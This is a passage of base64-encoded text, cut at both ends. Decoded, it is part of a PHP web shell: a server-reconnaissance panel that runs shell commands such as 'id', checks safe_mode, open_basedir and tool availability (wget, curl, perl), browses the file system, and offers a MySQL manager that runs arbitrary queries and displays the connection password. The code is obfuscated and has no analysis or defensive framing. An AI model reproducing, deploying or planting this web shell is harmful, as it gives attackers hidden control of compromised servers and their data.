pO30KICAgICAgICAgICAgICAgIGlmICgkYVsidGV4dF9ub3QiXSkgeyRib29sID0gISRib29sO30KICAgICAgICAgICAgICAgIGlmICgkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICBlbHNlIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZisrO30KICAgICAgICAgICAgfQogICAgICAgICAgfQogICAgICAgIH0KICAgICAgfQogICAgICBjbG9zZWRpcigkaCk7CiAgICB9CiAgfQogIGlmICgkeCA9PSAiZ29maWxlIikgewogICAgaWYgKGlzX2RpcigkZikpIHsgJHggPSAibHMiOyAkZCA9ICRmOyB9CiAgICBlbHNlIHsgJHggPSAiZiI7ICRkID0gZGlybmFtZSgkZik7ICRmID0gYmFzZW5hbWUoJGYpOyB9CiAgfQogIEBvYl9zdGFydCgpOwogIEBvYl9pbXBsaWNpdF9mbHVzaCgwKTsKICBmdW5jdGlvbiBvbnBocHNodXRkb3duKCkgewogICAgZ2xvYmFsICRnemlwZW5jb2RlLCRmdDsKICAgIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAhaW5fYXJyYXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpIHsKICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgICAgQG9iX3N0YXJ0KCJvYl9nekhhbmRsZXIiKTsKICAgICAgZWNobyAkdjsKICAgICAgQG9iX2VuZF9mbHVzaCgpOwogICAgfQogIH0KICBmdW5jdGlvbiBjYXByaXY4ZXhpdCgpIHsKICAgIG9ucGhwc2h1dGRvd24oKTsKICAgIGV4aXQ7CiAgfQogIGhlYWRlcigiRXhwaXJlczogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsKICBoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIuZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpLiIgR01UIik7CiAgaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSIpOwogIGhlYWRlcigiQ2FjaGUtQ29udHJvbDogcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIsIEZBTFNFKTsKICBoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsKICBpZiAoZW1wdHkoJHRtcGRpcikpIHsKICAgICR0bXBkaXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpOwogICAgaWYgKGlzX2RpcigkdG1wZGlyKSkgeyR0bXBkaXIgPSAiL3RtcC8iO30KICB9CiAgJHRtcGRpciA9IHJlYWxwYXRoKCR0bXBkaXIpOwogICR0bXBkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHRtcGRpcik7CiAgaWYgKHN1YnN0cigkdG1wZGlyLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHRtcGRpciAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICBpZiAoZW1wdHkoJHRtcGRpcl9sb2dzKSkgeyR0bXBkaXJfbG9ncyA9ICR0bXBkaXI7fQogIGVsc2UgeyR0bXBkaXJfbG9ncyA9IHJlYWxwYXRoKCR0bXBkaXJfbG9ncyk7fQogIGZ1bmN0aW9uIHNob3dzdGF0KCRzdGF0KSB7CiAgICBpZiAoJHN0YXQ9PSJvbiIpIHsgcmV0dXJuICI8Zm9udCBjb2xvcj0jMDBGRjAwPjxiPk9OPC9iPjwvZm9udD4iOyB9CiAgICBlbHNlIHsgcmV0dXJuICI8Zm9udCBjb2xvcj0jRkY5OTAwPjxiPk9GRjwvYj48L2ZvbnQ+IjsgfQogIH0KICBmdW5jdGlvbiB0ZXN0cGVybCgpIHsKICAgIGlmIChleCgncGVybCAtaCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0KICB9CiAgZnVuY3Rpb24gdGVzdGZldGNoKCkgewogICAgaWYoZXgoJ2ZldGNoIC0taGVscCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0KICB9CiAgZnVuY3Rpb24gdGVzdHdnZXQoKSB7CiAgICBpZiAoZXgoJ3dnZXQgLS1oZWxwJykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9CiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQogIH0KICBmdW5jdGlvbiB0ZXN0b3JhY2xlKCkgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9CiAgfQogIGZ1bmN0aW9uIHRlc3Rwb3N0Z3Jlc3FsKCkgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0KICB9CiAgZnVuY3Rpb24gdGVzdG1zc3FsKCkgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0KICB9CiAgZnVuY3Rpb24gdGVzdGN1cmwoKSB7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9CiAgfQogIGZ1bmN0aW9uIHRlc3RteXNxbCgpIHsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9CiAgfQogIGZ1bmN0aW9uIHNob3dkaXNhYmxlZnVuY3Rpb25zKCkgewogICAgaWYgKCRkaXNhYmxlZnVuYz1AaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKSl7IHJldHVybiAiPGZvbnQgY29sb3I9I0ZGOTkwMD48Yj4iLiRkaXNhYmxlZnVuYy4iPC9iPjwvZm9udD4iOyB9CiAgICBlbHNlIHsgcmV0dXJuICI8Zm9udCBjb2xvcj0jMDBGRjAwPjxiPk5PTkU8L2I+PC9iPjwvZm9udD4iOyB9CiAgfQogIGlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpIHsKICAgICRzYWZlbW9kZSA9IFRSVUU7CiAgICAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPSMzMzY2RkY+PGI+U0FGRSBNT0RFIGlzIE9OIChTZWN1cmUpPC9iPjwvZm9udD4iOwogIH0KICBlbHNlIHsKICAgICRzYWZlbW9kZSA9IEZBTFNFOwogICAgJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj0jRkY5OTAwPjxiPlNBRkUgTU9ERSBpcyBPRkYgKE5vdCBTZWN1cmUpPC9iPjwvZm9udD4iOwogIH0KICAkdiA9IEBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsKICBpZiAoJHYgb3Igc3RydG9sb3dlcigkdikgPT0gIm9uIikgewogICAgJG9wZW5iYXNlZGlyID0gVFJVRTsKICAgICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9cmVkPiIuJHYuIjwvZm9udD4iOwogIH0KICBlbHNlIHsKICAgICRvcGVuYmFzZWRpciA9IEZBTFNFOwogICAgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7CiAgfQogICRzb3J0ID0gaHRtbHNwZWNpYWxjaGFycygkc29ydCk7CiAgaWYgKGVtcHR5KCRzb3J0KSkgeyRzb3J0ID0gJHNvcnRfZGVmYXVsdDt9CiAgJHNvcnRbMV0gPSBzdHJ0b2xvd2VyKCRzb3J0WzFdKTsKICAkRElTUF9TRVJWRVJfU09GVFdBUkUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOwogIGlmICghZXJlZygiUEhQLyIucGhwdmVyc2lvbigpLCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpIHskRElTUF9TRVJWRVJfU09GVFdBUkUgLj0gIi4gUEhQLyIucGhwdmVyc2lvbigpO30KICAkRElTUF9TRVJWRVJfU09GVFdBUkUgPSBzdHJfcmVwbGFjZSgiUEhQLyIucGhwdmVyc2lvbigpLCI8YSBocmVmPVwiIi4kc3VybC4ieD1waHBpbmZvXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGI+PHU+UEhQLyIucGhwdmVyc2lvbigpLiI8L3U+PC9iPjwvYT4iLGh0bWxzcGVjaWFsY2hhcnMoJERJU1BfU0VSVkVSX1NPRlRXQVJFKSk7CiAgQGluaV9zZXQoImhpZ2hsaWdodC5iZyIsJGhpZ2hsaWdodF9iZyk7CiAgQGluaV9zZXQoImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOwogIEBpbmlfc2V0KCJoaWdobGlnaHQuZGVmYXVsdCIsJGhpZ2hsaWdodF9kZWZhdWx0KTsKICBAaW5pX3NldCgiaGlnaGxpZ2h0Lmh0bWwiLCRoaWdobGlnaHRfaHRtbCk7CiAgQGluaV9zZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOwogIEBpbmlfc2V0KCJoaWdobGlnaHQuc3RyaW5nIiwkaGlnaGxpZ2h0X3N0cmluZyk7CiAgaWYgKCFpc19hcnJheSgkYWN0Ym94KSkgeyAkYWN0Ym94ID0gYXJyYXkoKTsgfQogICRkc3BhY3QgPSAkeCA9IGh0bWxzcGVjaWFsY2hhcnMoJHgpOwogICRkaXNwX2Z1bGxwYXRoID0gJGxzX2FyciA9ICRub3RscyA9IG51bGw7CiAgJHVkID0gdXJsZW5jb2RlKCRkKTsKICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CiAgaWYgKGVtcHR5KCRkKSkgeyRkID0gcmVhbHBhdGgoIi4iKTt9CiAgZWxzZWlmKHJlYWxwYXRoKCRkKSkgeyRkID0gcmVhbHBhdGgoJGQpO30KICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CiAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogICRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOwogICRkaXNwZCA9IGh0bWxzcGVjaWFsY2hhcnMoJGQpOwplY2hvICRodG1sX3N0YXJ0OwplY2hvICI8ZGl2IGNsYXNzPWJhcmhlYWRlcjI+PGgzPiRzaF9uYW1lPC9oMz48Zm9udCBjb2xvcj1saW1lPmNvZGUgc2VjdXJpdHk8L2ZvbnQ+PC9kaXY+PGhyIGNvbG9yPXNpbHZlcj5cbiI7CmVjaG8gIjx0YWJsZSBpZD1wYWdlYmFyPjx0cj48dGQgd2lkdGg9NTAlPjxwPiIuCiAgICAgIlNvZnR3YXJlIDogIi4kRElTUF9TRVJWRVJfU09GVFdBUkUgLiIgLSA8YSBocmVmPSIuJHN1cmwuIng9cGhwaW5pPnBocC5pbmk8L2E+PGJyPiIuCiAgICAgIiRoc2FmZW1vZGU8YnI+Ii4KICAgICAiT1MgOiAiLnBocF91bmFtZSgpLiI8YnI+IjsKaWYgKCEkd2luKSB7IGVjaG8gIlVzZXIgSUQgOiAiLm15c2hlbGxleGVjKCJpZCIpOyB9CmVsc2UgeyBlY2hvICJVc2VyIDogIiAuIGdldF9jdXJyZW50X3VzZXIoKTsgfQplY2hvICI8L3A+PC90ZD4iLgogICAgICI8dGQgd2lkdGg9NTAlPjxwPlNlcnZlciBJUCA6IDxhIGhyZWY9aHR0cDovL3d3dy5pcC1hZHJlc3MuY29tLyIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiI+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIjwvYT4gLSAiLgogICAgICJZb3VyIElQIDogPGEgaHJlZj1odHRwOi8vd3d3LmlwLWFkcmVzcy5jb20vIi4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iPiIuJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uIjwvYT48YnI+IjsKaWYoJHdpbil7ZWNobyAiRHJpdmVzIDogIi5kaXNwX2RyaXZlcygkZCwkc3VybCkuIjxicj4iO30KZWNobyAiRnJlZXNwYWNlIDogIi5kaXNwX2ZyZWVzcGFjZSgkZCk7CmVjaG8gIjwvcD48L3RkPjwvdHI+IjsKZWNobyAiPHRyPjx0ZCBjb2xzcGFuPTI+PHA+IjsKZWNobyAiTXlTUUw6ICIudGVzdG15c3FsKCkuIiBNU1NRTDogIi50ZXN0bXNzcWwoKS4iIE9yYWNsZTogIi50ZXN0b3JhY2xlKCkuIiBNU1NRTDogIi50ZXN0bXNzcWwoKS4iIFBvc3RncmVTUUw6ICIudGVzdHBvc3RncmVzcWwoKS4KICAgICAiIGNVUkw6ICIudGVzdGN1cmwoKS4iIFdHZXQ6ICIudGVzdHdnZXQoKS4iIEZldGNoOiAiLnRlc3RmZXRjaCgpLiIgUGVybDogIi50ZXN0cGVybCgpLiI8YnI+IjsKZWNobyAiRGlzYWJsZWQgRnVuY3Rpb25zOiAiLnNob3dkaXNhYmxlZnVuY3Rpb25zKCk7CmVjaG8gIjwvcD48L3RkPjwvdHI+IjsKZWNobyAiPHRyPjx0ZCBjb2xzcGFuPTIgaWQ9bWFpbm1lbnU+IjsKaWYgKGNvdW50KCRxdWlja2xhdW5jaDIpID4gMCkgewogIGZvcmVhY2goJHF1aWNrbGF1bmNoMiBhcyAkaXRlbSkgewogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOwogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXNvcnQiLCRzb3J0LCRpdGVtWzFdKTsKICAgICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7CiAgICBpZiAoZW1wdHkoJHYpKSB7CiAgICAgICRhID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsKICAgICAgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsKICAgICAgJHYgPSBqb2luKERJUkVDVE9SWV9TRVBBUkFUT1IsJGEpOwogICAgfQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXVwZCIsdXJsZW5jb2RlKCR2KSwkaXRlbVsxXSk7CiAgICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPlxuIjsKICB9Cn0KZWNobyAiPC90ZD48dHI+PHRkIGNvbHNwYW49MiBpZD1tYWlubWVudT4iOwppZiAoY291bnQoJHF1aWNrbGF1bmNoMSkgPiAwKSB7CiAgZm9yZWFjaCgkcXVpY2tsYXVuY2gxIGFzICRpdGVtKSB7CiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsdXJsZW5jb2RlKCRkKSwkaXRlbVsxXSk7CiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOwogICAgJHYgPSByZWFscGF0aCgkZC4iLi4iKTsKICAgIGlmIChlbXB0eSgkdikpIHsKICAgICAgJGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogICAgICB1bnNldCgkYVtjb3VudCgkYSktMl0pOwogICAgICAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7CiAgICB9CiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsKICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+XG4iOwogIH0KfQplY2hvICI8L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPTI+IjsKZWNobyAiPHAgY2xhc3M9ZmxlZnQ+IjsKJHBkID0gJGUgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1Isc3Vic3RyKCRkLDAsLTEpKTsKJGkgPSAwOwpmb3JlYWNoKCRwZCBhcyAkYikgewogICR0ID0gIiI7ICRqID0gMDsKICBmb3JlYWNoICgkZSBhcyAkcikgewogICAgJHQuPSAkci5ESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgaWYgKCRqID09ICRpKSB7IGJyZWFrOyB9CiAgICAkaisrOwogIH0KICBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIudXJsZW5jb2RlKCR0KS4iJnNvcnQ9Ii4kc29ydC4iXCI+PGZvbnQgY29sb3I9cmVkPiIuaHRtbHNwZWNpYWxjaGFycygkYikuRElSRUNUT1JZX1NFUEFSQVRPUi4iPC9mb250PjwvYT4iOwogICRpKys7Cn0KZWNobyAiIC0gIjsKaWYgKGlzX3dyaXRhYmxlKCRkKSkgewogICR3ZCA9IFRSVUU7CiAgJHdkdCA9ICI8Zm9udCBjb2xvcj0jMDBGRjAwPltPS108L2ZvbnQ+IjsKICBlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRkKSkuIjwvZm9udD48L2I+IjsKfQplbHNlIHsKICAkd2QgPSBGQUxTRTsKICAkd2R0ID0gIjxmb250IGNvbG9yPXJlZD5bUmVhZC1Pbmx5XTwvZm9udD4iOwogIGVjaG8gIjxiPiIudmlld19wZXJtc19jb2xvcigkZCkuIjwvYj4iOwp9Cj8+CjwvcD4KPGRpdiBjbGFzcz1mcmlnaHQ+Cjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJscyI+CkRpcmVjdG9yeTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImQiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJHbyI+CjwvZm9ybT4KPC9kaXY+CjwvdGQ+PC90cj48L3RhYmxlPgo8P3BocAplY2hvICI8dGFibGUgaWQ9bWFpbmluZm8+PHRyPjx0ZCB3aWR0aD1cIjEwMCVcIj5cbiI7CmlmICgkeCA9PSAiIikgeyAkeCA9ICRkc3BhY3QgPSAibHMiOyB9CmlmICgkeCA9PSAicGhwaW5pIiApIHsgZ2V0X3BocGluaSgpOyB9CmlmICgkeCA9PSAic3FsIikgewogICRzcWxfc3VybCA9ICRzdXJsLiJ4PXNxbCI7CiAgaWYgKCRzcWxfbG9naW4pICB7JHNxbF9zdXJsIC49ICImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTt9CiAgaWYgKCRzcWxfcGFzc3dkKSB7JHNxbF9zdXJsIC49ICImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpO30KICBpZiAoJHNxbF9zZXJ2ZXIpIHskc3FsX3N1cmwgLj0gIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7fQogIGlmICgkc3FsX3BvcnQpICAgeyRzcWxfc3VybCAuPSAiJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpO30KICBpZiAoJHNxbF9kYikgICAgIHskc3FsX3N1cmwgLj0gIiZzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpO30KICAkc3FsX3N1cmwgLj0gIiYiOwogIGVjaG8gIjx0YWJsZT4iLgogICAgICAgIjx0cj48dGQgd2lkdGg9XCIxMDAlXCIgY29sc3Bhbj0yIGNsYXNzPWJhcmhlYWRlcj4iOwogIGlmICgkc3FsX3NlcnZlcikgewogICAgJHNxbF9zb2NrID0gbXlzcWxfY29ubmVjdCgkc3FsX3NlcnZlci4iOiIuJHNxbF9wb3J0LCAkc3FsX2xvZ2luLCAkc3FsX3Bhc3N3ZCk7CiAgICAkZXJyID0gbXlzcWxfc21hcnRlcnJvcigpOwogICAgQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7CiAgICBpZiAoJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkgeyRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOyAkc3FsX3F1ZXJ5X2Vycm9yID0gbXlzcWxfc21hcnRlcnJvcigpO30KICB9CiAgZWxzZSB7JHNxbF9zb2NrID0gRkFMU0U7fQogIGVjaG8gIi46IFNRTCBNYW5hZ2VyIDouPGJyPiI7CiAgaWYgKCEkc3FsX3NvY2spIHsKICAgIGlmICghJHNxbF9zZXJ2ZXIpIHtlY2hvICJOTyBDT05ORUNUSU9OIjt9CiAgICBlbHNlIHtlY2hvICJDYW4ndCBjb25uZWN0ISAiLiRlcnI7fQogIH0KICBlbHNlIHsKICAgICRzcWxxdWlja2xhdW5jaCA9IGFycmF5KCk7CiAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiIpOwogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUXVlcnkiLCRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOwogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyLXN0YXR1cyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXNlcnZlcnN0YXR1cyIpOwogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXNlcnZlcnZhcnMiKTsKICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlByb2Nlc3NlcyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXByb2Nlc3NlcyIpOwogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiTG9nb3V0Iiwkc3VybC4ieD1zcWwiKTsKICAgIGVjaG8gIk15U1FMICIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiIpIHJ1bm5pbmcgaW4gIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCIpPGJyPiI7CiAgICBpZiAoY291bnQoJHNxbHF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319CiAgfQogIGVjaG8gIjwvdGQ+PC90cj48dHI+IjsKICBpZiAoISRzcWxfc29jaykgewogICAgZWNobyAiPHRkIHdpZHRoPVwiMjglXCIgaGVpZ2h0PVwiMTAwXCIgdmFsaWduPVwidG9wXCI+PGxpPklmIGxvZ2luIGlzIG51bGwsIGxvZ2luIGlzIG93bmVyIG9mIHByb2Nlc3MuPGxpPklmIGhvc3QgaXMgbnVsbCwgaG9zdCBpcyBsb2NhbGhvc3Q8L2I+PGxpPklmIHBvcnQgaXMgbnVsbCwgcG9ydCBpcyAzMzA2IChkZWZhdWx0KTwvdGQ+PHRkIHdpZHRoPVwiOTAlXCIgaGVpZ2h0PTEgdmFsaWduPVwidG9wXCI+IjsKICAgIGVjaG8gIjx0YWJsZSB3aWR0aD1cIjEwMCVcIiBib3JkZXI9MD48dHI+PHRkPjxiPlBsZWFzZSwgZmlsbCB0aGUgZm9ybTo8L2I+PHRhYmxlPjx0cj48dGQ+PGI+VXNlcm5hbWU8L2I+PC90ZD48dGQ+PGI+UGFzc3dvcmQ8L2I+PC90ZD48dGQ+PGI+RGF0YWJhc2U8L2I+PC90ZD48L3RyPjxmb3JtIGFjdGlvbj1cIiAkc3VybCBcIiBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieFwiIHZhbHVlPVwic3FsXCI+PHRyPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCJyb290XCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInBhc3N3b3JkXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIlwiIG1heGxlbmd0aD1cIjY0XCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiXCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjwvdHI+PHRyPjx0ZD48Yj5Ib3N0PC9iPjwvdGQ+PHRkPjxiPlBPUlQ8L2I+PC90ZD48L3RyPjx0cj48dGQgYWxpZ249cmlnaHQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cImxvY2FsaG9zdFwiIG1heGxlbmd0aD1cIjY0XCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIzMzA2XCIgbWF4bGVuZ3RoPVwiNlwiIHNpemU9XCIzXCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbm5lY3RcIj48L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC90ZD4iOwogIH0KICBlbHNlIHsKICAgIGlmICghZW1wdHkoJHNxbF9kYikpIHsKICAgICAgPz48dGQgd2lkdGg9IjI1JSIgaGVpZ2h0PSIxMDAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dk